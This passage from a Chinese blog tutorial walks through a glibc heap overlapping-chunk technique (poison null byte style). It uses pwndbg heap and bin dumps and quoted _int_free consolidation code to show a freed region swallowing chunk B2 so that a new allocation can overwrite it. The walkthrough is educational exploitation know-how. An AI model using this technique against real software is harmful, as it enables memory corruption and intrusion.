Size: 0x321
fd: 0x6032b0
bk: 0x7ffff7dd1b78

Allocated chunk
Addr: 0x603430
Size: 0x110

Top chunk | PREV_INUSE
Addr: 0x603540
Size: 0x20ac1

pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x603110 —▸ 0x6032b0 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x603110
smallbins
empty
largebins
empty

接下来是见证奇迹的时刻,我们知道,两个相邻的 small chunk 被释放后会被合并在一起。首先释放 chunk b1,伪造出 fake chunk b 是 free chunk 的样子。然后释放 chunkC,因为chunkC的prevsize没有变化,这个时候 chunkC 会认为 chunkB1 就是 chunkB,这时程序会发现 chunk c 的前一个 chunk 是一个 free chunk,然后就将它们合并在了一起,并从 unsorted bin 中取出来合并进了 top chunk。可怜的 chunkB2 位于 chunkB1 和 chunkC 之间,被直接无视了,现在 malloc 认为这整块区域都是未分配的,新的 top chunk 指针已经说明了一切

chunk 合并的过程如下,首先该 chunk 与前一个 chunk 合并,然后检查下一个 chunk 是否为 top chunk,如果不是,将合并后的 chunk 放回 unsorted bin 中,否则,合并进 top chunk:

    /* consolidate backward */
    if (!prev_inuse(p)) {
      prevsize = p->prev_size;
      size += prevsize;
      p = chunk_at_offset(p, -((long) prevsize));
      unlink(av, p, bck, fwd);
    }

    if (nextchunk != av->top) {
    /*
  Place the chunk in unsorted chunk list. Chunks are
  not placed into regular bins until after they have
  been given one chance to be used in malloc.
    */
      [...]
    }

    /*
      If the chunk borders the current high end of memory,
      consolidate into top
    */

    else {
      size += nextsize;
      set_head(p, size | PREV_INUSE);
      av->top = p;
      check_chunk(av, p);
    }

接下来,申请一块大空间,大到可以把 chunkB2 包含进来,这样 chunkB2 就完全被我们控制了,假设我们之前对 chunkB2 写的是一个指针。此时我们 得到的新chunkD。我们可以对chunkB2的内容进行任意读写

pwndbg> n
d: 0x603120
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x603000
Size: 0x111

Allocated chunk | PREV_INUSE
Addr: 0x603110
Size: 0x321

Allocated chunk | PREV_INUSE
Addr: 0x603430
Size: 0x111

Top chunk | PREV_INUSE
Addr: 0x603540
Size: 0x20ac1

pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
0x60: 0x6032b0 —▸ 0x7ffff7dd1bc8 (main_arena+168) ◂— 0x6032b0
largebins
empty

可以发现chunkB2的内容已经被修改了

pwndbg> n
New b2 content:
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
  • 0
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值